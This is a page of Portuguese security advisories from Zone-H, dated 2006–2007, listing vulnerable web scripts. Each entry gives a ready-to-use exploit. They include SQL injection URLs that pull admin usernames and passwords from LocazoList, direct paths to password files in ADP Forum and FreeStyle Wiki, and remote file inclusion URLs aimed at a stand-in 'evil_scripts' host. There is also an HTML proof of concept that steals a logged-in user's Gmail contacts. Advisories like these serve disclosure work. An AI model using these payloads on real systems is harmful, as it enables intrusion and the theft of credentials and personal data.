Zone-H - Unrestricted Information - Avisos de Segurança

Avisos de Segurança

Por Raphael Martins (Ashiyakuza)
03 de janeiro de 2007
Nome do Script: LocazoList Site do script: http://www.locazo.net:81 Versão Afetada: 2.01a beta e anteriores Encontrado por ajann Email: ajannhwt [at] hotmail.com Exploração: http://[target]/[path]//main.asp?catid=1&subcatID=-1%20union%20select%200,username,0,0,0%20from%20admin%20where%20id%20like%201 http://[target]/[path]//main.asp?catid=1&subcatID=-1%20union%20select%200,password,0,0,0%20from%20admin%20where%20id%20like%201

Lista de contatos do GMail vulnerável

Por Andre

02 de janeiro de 2007

Simplesmente estando logado no GMail e visitando um Web site com um código malicioso, sua lista do contato pode ser roubada assim como todos seus detalhes. O problema ocorre porque o Google armazena os dados da lista de contatos em um arquivo Javascript. O ataque foi testado nos browsers Firefox, Opera, IE6 e IE 7.

/---code----

<html>
<head>
<script>
function google(a) {
document.write("<ol>");
for (i = 0; i < a.Body.Contacts.length; i++) {
document.write("<li>" + a.Body.Contacts[i].Email + "</li>");
}
document.write("</ol>");
}
</script>
<script xsrc="http://docs.google.com/data/contacts?out=js&s how=ALL&psort=Affinity&callback=google&max=99999"> </script></head>
<body>
Hello
</body>
</html>

---/

Fonte: slashdot.org

ADP Forum: Divulgação de Senha

Por Raphael Martins (Ashiyakuza)
31 de dezembro de 2006
Nome do Script: ADP Forum Site do script: www.linux.it/~fedro/ Versão Afetada: 2.0.3 Encontrado por Dr Max Virus Email: drmaxvirus [at] w.cn Exploração: http:/[target]/[path]/users/admin.txt

FreeStyle Wiki: Divulgação de Senha

Por Raphael Martins (Ashiyakuza)
30 de dezembro de 2006
Nome do Script: FreeStyle Wiki Site do script: http://keihanna.dl.sourceforge.jp/fswiki/ Versão Afetada: 3.6.2 e anteriores Encontrado por bd0rk Email: bd0rk [at] hackermail.com Exploração: http://[target]/[fswiki_path]/config/user.dat

Enigma Coppermine Bridge: Inclusão de Arquivos Remotos

Por Raphael Martins (Ashiyakuza)
30 de dezembro de 2006
Nome do Script: Enigma Coppermine Bridge Site do script: http://www.lunabyte.org Versão Afetada: 2 Encontrado por xoron Email: x0r0n [at] hotmail.com Exploração: /bridge/enigma/E2_header.inc.php?boarddir=http://evil_scripts?

Enigma WordPress Bridge: Inclusão de Arquivos Remotos

Por Raphael Martins (Ashiyakuza)
30 de dezembro de 2006
Nome do Script: Enigma WordPress Bridge Site do script: www.lunabyte.org Versão Afetada: 2 Encontrado por xoron Email: x0r0n [at] hotmail.com Exploração: WordPress_Files/All_Users/wp-content/plugins/Enigma2.php?boarddir=http://evil_scripts?

Mais...

<< Início < Anterior 1 2 3 4 5 6 7 8 9 10 Próximo > Fim >>

Resultados 79 - 104 de 236

[Voltar]